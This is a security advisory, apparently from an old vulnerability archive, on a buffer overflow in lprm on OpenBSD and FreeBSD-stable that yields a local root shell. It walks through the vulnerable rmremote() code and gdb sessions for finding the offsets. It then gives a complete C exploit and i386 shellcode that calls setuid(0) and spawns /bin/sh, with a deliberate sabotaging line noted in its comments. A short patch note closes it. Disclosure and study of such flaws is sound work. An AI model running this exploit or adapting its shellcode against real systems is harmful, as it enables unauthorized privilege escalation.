COMMAND

    lprm

SYSTEMS AFFECTED

    OpenBSD, FreeBSD

PROBLEM

    Niall Smart found how lprm  in OpenBSD and FreeBSD-stable gives  a
    root shell under the following conditions:

        - You  have  a  remote  printer  configured in  /etc/printcap.
          (ie. a printer with a non-null "rm" capability)
        - The length of the attacker's username plus the length of the
          "rp" capability for the remote printer is >= 7.  If there is
          no explicit "rp" capability  specified then the system  will
          use  the  default,  which  has  length  2,  meaning that the
          attacker's username  must be  >= 5  characters long  in this
          case
        - The hostname of the remote printer (ie. the "rm" capability)
          resolves, and  neither the  canonical name  returned for the
          host nor any of its aliases match the local hostname.   (ie.
          it will not work if  the "rm" capability points back  at the
          local machine, which would be indicative of misconfiguration
          anyway).

    It is not strictly necessary for  the lpd daemon to be running  on
    the remote or local host for  the exploit to work.  lprm  allows a
    user  to  remove  all  his  jobs  on  a print queue by passing his
    username as an argument to  lprm, e.g. "lprm  -P  PRINTER bloggs".
    Only root  is allowed  to specify  usernames other  than his  own.
    Passing your own username more  than once (as in "lprm  -P PRINTER
    bloggs bloggs") is allowed, but redundant.  The user(s)  specified
    are  stored  in  a  global  array  called  `user'.  If the printer
    specified is  a remote  printer then  lprm connects  to the remote
    lpd daemon and sends it a  message of the form "\5 XX  USER1 USER2
    ...\n" where  XX is  the "rp"  capability of  the remote  printer,
    or the string "lp" if  this capability has not been  specified and
    USERN  are  the  users  from  the  command  line.   This   happens
    in rmremote() of rmjob.c:

        317  void
        318  rmremote()
        319  {
        320          register char *cp;
        321          register int i, rem;
        322          char buf[BUFSIZ];
        323          void (*savealrm)(int);
        324
        325          if (!remote)
        326                  return; /* not sending to a remote machine */
        327
        328          /*
        329           * Flush stdout so the user can see what has been deleted
        330           * while we wait (possibly) for the connection.
        331           */
        332          fflush(stdout);
        333
        334          (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
        335          cp = buf;
        336          for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) {
        337                  cp += strlen(cp);
        338                  *cp++ = ' ';
        339                  strcpy(cp, user[i]);
        340          }

    The  problem  lies  on  lines  334-335.   Note  that  a  string is
    snprintf()'ed into buf and then cp is initialised to point at  the
    beginning of the buffer.  Therefore on the first iteration  around
    the loop on line 336 cp - buf = 0.  This means that we can pass  a
    string  of  length  up  to  length  sizeof(buf)  - 1 - 1 = 1022 in
    user[0] (which is the first user on the command line).

    In the loop, cp is advanced by the length of the string it  points
    to plus  one character.   On the  first iteration  this is  P +  3
    characters where P = strlen(RP) + strlen(person)  (RP is the  "rp"
    capability  for  the  printer  (default:  "lp"),  person  is  your
    username). Then the contents of user[i] is appended to cp.

    If we pass a string of length 1022 characters in user[0] then  the
    buffer will be overflowed  by (1022 + P  + 3 + 1)  - 1024 = P  + 2
    bytes (including the terminating '\0') on the first iteratation of
    the loop.   If RP =  "lp" (the default)  this means that  the user
    bloggs can overflow by 10 bytes, the last of which will be a  null
    byte.

    So, is this  useful for bloggs?   Looking at the  source it  would
    appear not, there are three doubleword sized variables (cp, i  and
    rem = 12 bytes) declared before  buf, meaning he can't get to  the
    saved EIP with his 10 byte overflow, and there doesn't seem to  be
    any way  to get  what we  want from  manipulating these variables.
    Note  that  if  the  programmer  had declared the function pointer
    savealrm before  the buffer  then we  could "restore"  the SIGALRM
    handler to an  arbitrary location.   But -- those  three variables
    are declared with  the register attribute!   For the  uninitiated,
    this is  a hint  to the  compiler to  place those  variables in  a
    register if possible for speed  of access.  Assuming the  compiler
    can do  this, it  also has  the side  effect of  not requiring the
    compiler to  allocate memory  for the  variable if  its address is
    not  taken.   A  quick  look  through  the  rest of the source for
    rmremote() shows  that their  address is  not taken  -- things are
    looking up!   Lets compile  our own  static version  of lprm  with
    debugging  on  using  the  same  optimisation  flags as the system
    Makefile  and  look  at  the  assembly  produced  to see where the
    compiler puts cp, i and rem.

        $ make lprm CFLAGS="-g -static"
        $ gdb lprm
        (gdb) x/5i rmremote
        0x2464 <rmremote>:      pushl  %ebp
        0x2465 <rmremote+1>:    movl   %esp,%ebp
        0x2467 <rmremote+3>:    subl   $0x408,%esp
        0x246d <rmremote+9>:    pushl  %edi
        0x246e <rmremote+10>:   pushl  %esi
        (gdb) p 0x408
        $3 = 1032

    So,  it  allocates  1032  bytes  on  the stack, presumably this is
    composed of one of  cp, i and rem,  then the 1024 byte  buffer and
    then savealrm.   This would  means that  bloggs can  overflow  the
    saved EBP, and even write up  to two bytes to the saved  EIP. (the
    last of which  would be NULL).   Unfortunately this is  useless on
    the Intel i386 because the MSB(yte) of the EIP is located  highest
    on the stack  meaning we can  only influence the  two LSBs of  the
    the EIP  and since  our buffer  is located  up at  the top  of the
    address space we need the MSB  of the saved EIP to look  like 0xFF
    or 0xEF  and it  is probably  0x00 since  rmremote would have been
    called from the text segment which is located at the bottom of the
    address space.  On a big endian machine we *might* have been  able
    to  do  something  with  this,  but  it  would not have been easy.
    However, Luck is on our  side again, looking down further  through
    the asm we  notice that gcc  has actually allocated  the buffer at
    $esp - 1024.   Look at the pushing  of the arguments for  the call
    to snprintf:

        (gdb) x/11i
        0x1fbc <rmremote+72>:   movl   $0x1550,%eax
        0x1fc1 <rmremote+77>:   pushl  %eax
        0x1fc2 <rmremote+78>:   movl   0x3ea88,%eax
        0x1fc7 <rmremote+83>:   pushl  %eax
        0x1fc8 <rmremote+84>:   pushl  $0x1f3a
        0x1fcd <rmremote+89>:   pushl  $0x400
        0x1fd2 <rmremote+94>:   leal   0xfffffc00(%ebp),%eax
        0x1fd8 <rmremote+100>:  pushl  %eax
        0x1fd9 <rmremote+101>:  call   0x21630 <snprintf>
        (gdb) p -(~0xfffffc00 + 1)
        $2 = -1024

    This means that  we only need  a nine byte  overflow!  (9  = 4 for
    saved EBP + 4 for saved  EIP + 1 null terminating '\0'  which must
    not be in saved EIP).  Lets just check that we have done our  sums
    right before moving on to write  the exploit: where do we put  the
    bytes into user[0] so that they overwrite the EIP?  Well,  writing
    1028 bytes into buf leaves us  just before the EIP, to write  this
    many bytes we  put 1028 -  (P + 3)  bytes in user[0],  the (P + 3)
    comes from the data already placed in the buffer by the  snprintf.
    For the user  bloggs on a  system where RP  = "lp", P  = 8.   Lets
    check this out  on our own  system: (copy lprm  to get it  to core
    dump):

        $ id -un
        bloggs
        $ cp /usr/bin/lprm /tmp
        $ /tmp/lprm -P remote `perl -e '
        > print "A" x (1028 - 8 - 3);
        > printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE);
        > '`
        connection to remote is down
        zsh: segmentation fault (core dumped)  /tmp/lprm -P remote
        $ gdb --quiet lprm /tmp/lprm.core
        Core was generated by `lprm'.
        Program terminated with signal 11, Segmentation fault.
        #0  0xdeadbeef in ?? ()
        (gdb)

    It's all pretty much plain  sailing from here on, the  main reason
    for text going  on is to  demonstrate the leeto  method of getting
    the shellcode that wasn't used  before.  Just before the  "ret" at
    the end of rmremote() we want the stack to look like this:

                +-----------+
        ESP  -> |    egg    |   --------\
                +-----------+           |
                |   space   |           |
                |   space   |           |
                |   space   |           |
                +-----------+           |
                |           |           |
                |           |           |
                \ shellcode \           |
                |           |           |
                |           |           |
                +-----------+           |
                |    nop    |           |
                |    nop    |   <<------/
                |           |

    The  ret  instruction  pops  the  egg  off into the EIP which will
    hopefully then  point somewhere  in the  nops causing  the CPU  to
    chase up the stack  to the shellcode.   The shellcode itself is  a
    fairly  standard  affair,  it  performs  a  seteuid(0), setuid(0),
    exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard  tricks
    of xoring  and subtraction  of negative  values to  get/avoid null
    bytes and  a call/ret  to obtain  the value  of the  EIP so it can
    locate  the  address  of  the  "shAA/bin/shBCCCCDDDD" string.  The
    neeto  bit  is  that  the  shellcode  is  left in source form, the
    assembler  generates  a  label  for  the  beginning and end of the
    generated  code  so  we  can  just  memcpy  the  machine  language
    representation into the  buffer.  This  makes it easier  to change
    and test the  shellcode as you  go, makes the  exploit more easily
    portable  and   avoids  the   tedious  task   of  hexdumping   the
    instructions.   As  discussed  before,   the  egg  is  placed   at
    user[1028 - P - 3], we want the shellcode to be as near the top as
    possible,  but  we  need  to  leave  12  bytes  for  the  4  pushl
    instructions  in  the  shell  code  as  the  ESP  will be equal to
    &egg + 4 when we enter the shellcode.  (only 12 bytes because  the
    first push goes onto the egg).  This means we memcpy the shellcode
    into &user[1028 - P - 3 - 12 - SCSZ] where SCSZ is the size of the
    shell code.  The code is below.  To compile run:

        cc lprm-bsd.c shellcode.S -o lprm-bsd

    And now, code:

    /*
       lprm-bsd.c - Exploit for lprm vulnerability in
                    OpenBSD and FreeBSD-stable

       k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998.

       The original version of this file contains a blatant error
       which anyone who is capable of understanding C will be able
       to locate and remove.  Please do not distribute this file
       without this idiot-avoidance measure.

       Typical egg on FreeBSD: 0xEFBFCFDF
       Typical egg on OpenBSD: 0xEFBFD648

       The exploit might take a while to drop you to a root shell
       depending on the timeout ("tm" capability) specified in the
       printcap file.
    */

    #include <sys/types.h>
    #include <pwd.h>
    #include <err.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    extern void     BEGIN_SC();
    extern void     END_SC();

    int
    main(int argc, char** argv)
    {
            char            buf[4096];
            struct passwd*  pw;
            char*           cgstr;
            char*           cgbuf;
            char*           printer;
            char*           printcaps[] = { "/etc/printcap", 0 };
            int             sc_size;  /* size of shell code */
            int             P;        /* strlen(RP) + strlen(person) */
            unsigned        egg;      /* value to overwrite saved EIP with */

            if (argc != 3) {
                    fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
                    exit(0);
            }

            if ( (pw = getpwuid(getuid())) == NULL)
                    errx(1, "no password entry for your user-id");

            printer = argv[1];
            egg = (unsigned) strtoul(argv[2], NULL, 0);

            if (cgetent(&cgstr, printcaps, printer) < 0)
                    errx(1, "can't find printer: %s", printer);

            if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
                    errx(1, "printer is not remote: %s", printer);

            if (cgetstr(cgstr, "rp", &cgbuf) < 0)
                    cgbuf = "lp";

            sc_size = (char*) END_SC - (char*) BEGIN_SC;

            /* We can append 1022 bytes to whatever is in the buffer.
               We need to get up to 1032 bytes to reach the saved EIP,
               so there must be at least 10 bytes placed in the buffer
               by the snprintf on line 337 of rmjob.c and the subsequent
               *cp++ = '\0';  3 = ' ' + ' ' + '\5' */

            if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
                    errx(1, "your username is too short");

            fprintf(stderr, "P = %d\n", P);
            fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
            fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);

            /* fill with NOP */
            memset(buf, 0x90, sizeof(buf));
            /* put letter in first byte, this fucker took me eight hours to debug. */
            buf[0] = 'A';
            /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
            memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
            /* finally, set egg and null terminate */
            *((int*)&buf[1028 - P - 3]) = egg;
            buf[1022] = '\0';

            memset(buf, 0, sizeof(buf));

            execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);

            fprintf(stderr, "doh.\n");

            return 0;
    }

    
    /*
       shellcode.S - generic i386 shell code

       k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998.
       Please send me platform-specific mods.

       Example use:

            #include <stdio.h>
            #include <string.h>

            extern void     BEGIN_SC();
            extern void     END_SC();

            int
            main()
            {
                    char    buf[1024];

                    memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);

                    ((void (*)(void)) buf)();

                    return 0;
            }

        gcc -Wall main.c shellcode.S -o main && ./main
    */


    #if defined(__FreeBSD__) || defined(__OpenBSD__)
    #define EXECVE          3B
    #define EXIT            01
    #define SETUID          17
    #define SETEUID         B7
    #define KERNCALL        int $0x80
    #else
    #error This OS not currently supported.
    #endif

    #define _EXECVE_A       CONCAT($0x555555, EXECVE)
    #define _EXECVE_B       CONCAT($0xAAAAAA, EXECVE)
    #define _EXIT_A         CONCAT($0x555555, EXIT)
    #define _EXIT_B         CONCAT($0xAAAAAA, EXIT)
    #define _SETUID_A       CONCAT($0x555555, SETUID)
    #define _SETUID_B       CONCAT($0xAAAAAA, SETUID)
    #define _SETEUID_A      CONCAT($0x555555, SETEUID)
    #define _SETEUID_B      CONCAT($0xAAAAAA, SETEUID)

    #define CONCAT(x, y)    CONCAT2(x, y)
    #define CONCAT2(x, y)   x ## y

    .global         _BEGIN_SC
    .global         _END_SC

                    .data
    _BEGIN_SC:      jmp 0x4                 // jump past next two isns
                    movl (%esp), %eax       // copy saved EIP to eax
                    ret                     // return to caller
                    xorl %ebx, %ebx         // zero ebx
                    pushl %ebx              // sete?uid(0)
                    pushl %ebx              // dummy, kernel expects extra frame pointer
                    movl _SETEUID_A, %eax   //
                    andl _SETEUID_B, %eax   // load syscall number
                    KERNCALL                // make the call
                    movl _SETUID_A, %eax    //
                    andl _SETUID_B, %eax    // load syscall number
                    KERNCALL                // make the call
                    subl $-8, %esp          // push stack back up
                    call -40                // call, pushing addr of next isn onto stack
                    addl $53, %eax          // make eax point to the string
                    movb %bl, 2(%eax)       // append '\0' to "sh"
                    movb %bl, 11(%eax)      // append '\0' to "/bin/sh"
                    movl %eax, 12(%eax)     // argv[0] = "sh"
                    movl %ebx, 16(%eax)     // argv[1] = 0
                    pushl %ebx              // push envv
                    movl %eax, %ebx         //
                    subl $-12, %ebx         // -(-12) = 12, avoid null bytes
                    pushl %ebx              // push argv
                    subl $-4, %eax          // -(-4) = 4, avoid null bytes
                    pushl %eax              // push path
                    pushl %eax              // dummy, kernel expects extra frame pointer
                    movl _EXECVE_A, %eax    //
                    andl _EXECVE_B, %eax    // load syscall number
                    KERNCALL                // make the call
                    pushl %eax              // push return code from execve
                    pushl %eax              //
                    movl _EXIT_A, %eax      // we shouldn't have gotten here, try and
                    andl _EXIT_B, %eax      // exit with return code from execve
                    KERNCALL                // JERONIMO!
                    .ascii "shAA/bin/shBCCCCDDDD"
                    //      01234567890123456789
    _END_SC:

SOLUTION

    This  vulnerability   is  not   present  in   FreeBSD-current   or
    OpenBSD-current.  Patches  to  fix  this  vulnerability  have been
    applied to the OpenBSD  and FreeBSD-stable source tree's.   Obtain
    the latest version of the file:

        /src/usr.sbin/lpr/common_source/rmjob.c

    and recompile the lpr  subsystem to protect yourself  against this
    attack.   See  www.openbsd.org/security.html  and  www.freebsd.org
    for details.